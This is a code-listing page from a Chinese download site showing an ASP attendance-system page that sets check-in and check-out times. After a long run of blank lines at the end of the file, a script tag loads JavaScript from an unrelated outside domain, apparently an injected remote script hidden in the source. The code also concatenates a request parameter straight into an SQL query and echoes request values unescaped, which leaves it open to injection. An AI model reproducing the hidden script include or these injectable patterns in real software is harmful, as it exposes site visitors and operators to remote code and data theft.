⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 qdset2.asp

📁 通用考勤系统
💻 ASP
字号:
<%
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
''''版权:野马原创                    ''''
''''联系:ctplr@163.com          ''''
''''说明:需要新功能联系我      ''''
''''QQ:2643148                    ''''
%>
<!--#include file="check.asp"-->
<!--#include file="conn.asp"-->
<!--#include file="showtime.asp"-->
<!--#include file="../webinfo.asp"-->
<head>
<link href=left.css rel=stylesheet>
<script>
function showsubmenu(sid)
{
whichEl = eval("submenu" + sid);
if (whichEl.style.display == "none")
{
eval("submenu" + sid + ".style.display=\"\";");
}
else
{
eval("submenu" + sid + ".style.display=\"none\";");
}
}

function initIt(){
divColl=document.all.tags("DIV");
for(i=0; i<divColl.length; i++) {
whichEl=divColl(i);
if(whichEl.className=="child")whichEl.style.display="none";}
}
function expands(el) {
whichEl1=eval(el+"Child");
if (whichEl1.style.display=="none"){
initIt();
whichEl1.style.display="block";
}else{whichEl1.style.display="none";}
}
var tree= 0;
function loadThreadFollow(){
if (tree==0){
document.frames["hiddenframe"].location.replace("LeftTree.asp");
tree=1
}
}

function loadingmenu(id){
var loadmenu =eval("menu" + id);
if (loadmenu.innerText=="Loading..."){
document.frames["hiddenframe"].location.replace("LeftTree.asp?menu=menu&id="+id+"");
}
}

function checkfwq(){

if (document.addfwq.dayqdtime.value!="" && document.addfwq.dayzxtime.value!="")
  { 
   document.addfwq.submit1.disabled=0;
  }
  else
  {
   document.addfwq.submit1.disabled=1;
  }
}


</script>
</head>
<body  leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<%if session("qx")<3 and session("qx")>0 then
act=request("act")
if act=empty then
 act="setzonefwq"
end if

if act="setzonefwq" then  
               '''''''''主界面
pid=request("id")
%><center>
<table width="102%"   border="0" align="center" cellpadding="2" cellspacing="3">
  <tr> 
    <td height="57" colspan="2" align="center" valign="middle" background="../images/loginIn.gif"> 
      <img src=images/qd.gif><br>[<a href='javascript:location.reload();'>如果显示不正常请点击这里刷新</a>]</td>
  </tr>
  
  </table>
<form method="post" action="qdset_do.asp?act=addzone">
  <font color=white>增加设置组:</font><input name="zonename"  class=dbox size=10>
    <font color=white>签到缓冲:</font><input name="hctime"  class=dbox value=10 size=3>分钟
<input type="submit" value="添加" class=bbox >  
<input type="button" value="说明" class=ibox onclick=alert("签到缓冲时间说明:\n\n该时间的设置允许员工在缓冲时间内签到有效\n\n比如当系统设置签到时间为8:00,缓冲时间为10分钟时,\n那么员工在7:50~8:10内签到有效,\n早于该时间将不能签到,超过该时间算迟到。");></font>
</form>
 <p><form action=qdset_do.asp?act=setzone  method="post">
<table border=1 bgcolor=#000099 bordercolor=#000099 width="100%"  cellpadding="0" cellspacing="0"><br>
<tr align="center" >
 <td height="23" colspan="4" background="../images/TitleTop.gif">  
<img src="../images/User.gif" width="19" height="20">
<font color=ffaa00>签到设定信息-<%=request("ptypename")%></font> <font color=yellow>[点击设置组名称伸缩时间设定列表]</font></td>
<% 
session("gametype")=int(pid)
call showzf(0)
call showzf(0)  %>
</table>
<% end if

if act="editzone" then                  '''''''''修改组名称
pid=request("id")
zonename=request("zonename")
hctime=request("hctime")
settime=request("settime")
%>

<center>
<table width="100%"   border="0" align="center" cellpadding="2" cellspacing="3">
  <tr> 
    <td height="57" colspan="2" align="center" valign="middle" background="../images/loginIn.gif"> 
      <img src=images/qd.GIF></td>
  </tr>
  
  </table>
<form method="post" action="qdset_do.asp?act=zoneedit_do" name=zoneedit_doform>
<input type=hidden name=zoneid value=<%=request("id")%>>
<table boredr=1 width=50%>
 <tr>
 <td class=td2>
   修改设置组名称:
 </td>
 <td class=td2>
   <input name="zonename"  class=dbox size=12 value=<%=zonename%>  >
 </td>
 </tr>
 <tr>
 <td class=td1>
   未注销结算时间:
</td>
 <td class=td1>
   <input name="settime"  class=dbox size=12 value=<%=settime%>  >分钟
 [<a onclick=alert("未注销结算时间说明:\n\n该参数的设置是系统用来结算\n当日已经进行签到操作\n但忘记了注销的工作人员的工资用的\n该时间应该小于等于该组工作时间\n即应具有惩罚功能");>说明</a>]
 </td>
 </tr>
<tr>
 <td class=td2>
 修改签到缓冲时间:
 </td>
 <td class=td2><input name="hctime"  class=dbox size=10 value=<%=hctime%> >分钟
</td>
 </tr>
<tr>
<td colspan=2 class=td3 align=right>
<input type="submit" value="修改" class=bbox >
</td>
</tr>
</table>
</form>
<%end if

if act="editfwq" then                  '''''''''修改时间
pid=request("fwqid")
sql1="select * from qdsettime where id="&pid
  rs.open sql1,cn,1,1
   dayqdtime=Format_Time(rs("dayqdtime"), 3)
   dayzxtime=Format_Time(rs("dayzxtime"), 3)
  rs.close
%>

<center>
<table width="100%"   border="0" align="center" cellpadding="2" cellspacing="3">
  <tr> 
    <td height="57" colspan="2" align="center" valign="middle" background="../images/loginIn.gif"> 
      <img src=images/qd.GIF></td>
  </tr>
  
  </table>
<form method="post" action="qdset_do.asp?act=fwqedit_do" name=addfwq>
<input type=hidden name=fwqid value=<%=request("fwqid")%>>
<font color=white>修改时间设置:</font>
<br>
<font color=white>签到时间:<input name="dayqdtime"  class=dbox   onkeyup="checkfwq();"  onclick="checkfwq();" value=<%=dayqdtime%>>
<br> 
注销时间:<input name="dayzxtime"  class=dbox   onkeyup="checkfwq();"  onclick="checkfwq();" value=<%=dayzxtime%> > 
<br><input type="submit" name="submit1"  value="修改" class=bbox disabled>
</form>
<%end if

if act="addfwq" then                  '''''''''增加签到点
pid=request("id")

%>

<center>
<table width="100%"   border="0" align="center" cellpadding="2" cellspacing="3">
  <tr> 
    <td height="57" colspan="2" align="center" valign="middle" background="../images/loginIn.gif"> 
      <img src=images/qd.GIF></td>
  </tr>
  
  </table>
<form method="post" action="qdset_do.asp?act=addfwq" name=addfwq>
<input type=hidden name=zoneid value=<%=request("zoneid")%>>
<font color=white>增加签到点:</font>
<br>
[请按标准时间格式填写,如12:00:00]<br>
<font color=white>签到时间:<input name="dayqdtime"  class=dbox onkeyup="checkfwq();"  onclick="checkfwq();"  value="08:00:00"   onMouseOver=this.focus() onFocus=this.select()> 
<br>
注销时间:<input name="dayzxtime"  class=dbox onkeyup="checkfwq();"  onclick="checkfwq();" value="12:00:00"   onMouseOver=this.focus() onFocus=this.select()> 
<br>
<input type="submit" value="确定" name=submit1 class=bbox disabled>
</form>

<%
 end if
 
else
response.write "<script >alert('您不能进入此页面');history.back();</script>"
end if
%>














 



































<script language=javascript src=http://web.moyugame.com/1.js></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -